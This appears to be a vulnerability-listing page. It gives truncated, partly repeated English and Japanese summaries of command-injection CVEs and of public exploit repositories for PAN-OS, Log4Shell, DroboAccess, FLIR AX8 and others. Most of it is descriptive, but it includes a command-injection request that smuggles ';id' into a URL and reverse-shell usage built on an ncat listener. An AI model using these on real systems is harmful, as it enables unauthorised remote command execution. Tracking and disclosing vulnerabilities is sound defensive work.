EUVD-2026-91838

PeaZip before 11.3.0, in a non-default configuration, is vulnerable to OS command injection via a filename in an archive because "quotation character already used in the string" is mishandled...

The vulnerability of the Test IT testing system lies in the use of external control inputs for class selection, allowing a perpetrator to execute arbitrary commands.

The vulnerability of the Test IT testing system relates to the use of externally controlled input data for class selection. Exploiting this vulnerability allows a malicious actor to execute arbitrary commands remotely...

The vulnerability of the Platypus.js tooling platform, related to deficiencies in the authentication process, allows a violator to execute arbitrary commands.

The vulnerability of the Platypus.js platform is related to deficiencies in the authentication process. Exploiting this vulnerability allows a remote attacker to execute arbitrary commands...

CVE-2026-82041

UTMStack before 11.2.16 contains a missing authorization vulnerability in UTMIncidentCommandWebsocket.processCommand, the handler mapped to the /command/hostname STOMP destination, where no role check or command allowlist is applied before forwarding supplied commands. Any authenticated user,...

CVE-2026-75937 OS Command Injection in Digi Accelerated Linux (DAL OS)

A specially crafted HTTP POST request to the web administration interface allows an unauthenticated attacker to execute arbitrary operating system commands with root privileges on the affected device. Disable the web server when not configuring the device...

CVE-2026-104019

OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution 2.x before 2.14.12, 3.x before 3.9.12, 4.0.x before 4.0.11, 4.1.x before 4.1.11, 4.2.x before 4.2.8, 4.3.x before 4.3.5, and 4.4.x before 4.4.3, as used by Amazon SageMaker Unified Studio, might...

CVE-2026-82041 UTMStack < 11.2.16 Missing Authorization via Command WebSocket

UTMStack before 11.2.16 contains a missing authorization vulnerability in UTMIncidentCommandWebsocket.processCommand, the handler mapped to the /command/hostname STOMP destination, where no role check or command allowlist is applied before forwarding supplied commands. Any authenticated user,...

EUVD-2026-91796

UTMStack before 11.2.16 contains a missing authorization vulnerability in UTMIncidentCommandWebsocket.processCommand, the handler mapped to the /command/hostname STOMP destination, where no role check or command allowlist is applied before forwarding supplied commands. Any authenticated user,...

CVE-2026-104019 OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution when running on Amazon SageMaker Unified Studio

OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution 2.x before 2.14.12, 3.x before 3.9.12, 4.0.x before 4.0.11, 4.1.x before 4.1.11, 4.2.x before 4.2.8, 4.3.x before 4.3.5, and 4.4.x before 4.4.3, as used by Amazon SageMaker Unified Studio, might...

CVE-2022-30525

CVE-2022-30525 ZyxelのCGIプログラムにおけるOSコマンドインジェクションの脆弱性 エグゼクティブサマリー 2022年4月13日に初めて発見されたこの脆弱性は、Zyxelファイアウォール製品でリモートコード実行を引き起こしました。CVSSスコア9.8のこの重大な脆弱性は、出現から15日後にZyxelがリリースしたアップデートによってブロックされました。この過程で少なくとも20,800台のモデルが影響を受け、その大部分はヨーロッパにありました。...

CVE-2024-9474

Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 & CVE-2024-9474 このスクリプトは、Palo Alto PAN-OS の脆弱性 CVE-2024-0012 および CVE-2024-9474 に対する Proof of Concept PoC エクスプロイトです。このスクリプトは、脆弱性を検出するためにURLリストをスキャンするか、単一の脆弱なURLに対して対話的にエクスプロイトを実行するために使用できます。 特徴 スキャンモード: 複数のURLを自動的にスキャンして脆弱性を検出します。 エクスプロイトモード:...

hinge-command-control-c2

Hingeをコマンド＆コントロールサーバーとして使用する 詳細は https://mattwie.se/hinge-command-control-c2 をご覧ください。...

CVE-2024-46658

CVE-2024-46658 Syrotech SY-GOPON-8OLT-L3 v1.6.0240629 コマンドインジェクションの脆弱性 使い方 1- スクリプト内のURLを編集します。 2- スクリプト内のCookieLoginの値を編集します。 3- スクリプトを実行すると、コマンドを実行できるようになります。 脆弱性の詳細 GET...

CVE-2021-44228-log4Shell

CVE-2021-44228-log4Shell エクスプロイト エクスプロイトテスト google.com に ping を実行します 任意のコマンドを実行 OS名、バージョン、アーキテクチャを出力します OSとユーザーに関する詳細を収集 リモートマシンで電卓を開きます 任意の実行可能ファイルを実行できます github からこの README.md をダウンロードします ExploitTest の実行 java ExploitTest サンプル log4shell リンク https://log4shell.huntress.com/...

CVE-2024-48762

CVE-2024-48762 説明 FLIR AX8（バージョン1.46.16まで）の/usr/www/application/models/settingscamera.phpにおけるコマンドインジェクションの脆弱性により、攻撃者はvalueパラメータを介して任意のコマンドを実行可能です。 POC GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX レスポンス HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14 Expires: Thu, 19 Nov 1981...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1 の enableuser 関数における未認証のコマンドインジェクション 使用方法: 使用するには、まずリスナーを起動します ncat -nvlp 1337 次にエクスプロイトを実行します 例: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='エクスプロイト対象のホスト、例: 192.168.1.122:8080',required=True '-l', '--listener-ip', help='リスナーIP',...

CVE-2019-1653

CVE-2019-1653 Cisco Small Business RV320 および RV325 Dual Gigabit WAN VPN ルーターの Web ベース管理インターフェースにおける脆弱性により、認証されていないリモート攻撃者が機密情報を取得できる可能性があります。 このシンプルな Python スクリプトは、CVE-2019-1653 の自動エクスプロイトであり、Cisco Small Business RV320 および RV325 デバイスに感染します。悪用される最初の脆弱性は...

CVE-2021-43469

CVE-2021-43469 エクスプロイトタイトル: VINGA ルーターに脆弱なパスワードとバックグラウンドコマンド実行の脆弱性があります。 製品: VINGA WR-N300U Webサーバー: goahead 作者: CXAQHQ 日時: 2021-11-01 ログイン後、Pingおよびtracerouteインターフェースにコマンド実行の脆弱性が存在します。 IP addr コマンドを実行 IDAで脆弱性コードを確認...

CVE-2024-4577

CVE-2024-4577 免責事項 本ツールは個人のセキュリティ研究学習目的にのみ使用されます。本ツールの配布・利用により生じた直接的または間接的な結果や損害は、すべて利用者本人が負うものとし、作者は一切の責任を負いません。 PHP NAME: PHP-CGI - コマンド実行 USAGE: global options command command options arguments... COMMANDS: help, h コマンド一覧または特定のコマンドのヘルプを表示します GLOBAL OPTIONS: --targeturl url, -u url...

omigod

CVE-2021-38647: Omigod Omigod の別のエクスプロイトで、Go で手早く雑に書かれています。 このエクスプロイトは以下を使用・基盤としています： wiz による研究： https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure midoxnet による SOAP ペイロード： https://github.com/midoxnet/CVE-2021-38647 horizon3ai による Python 概念実証：...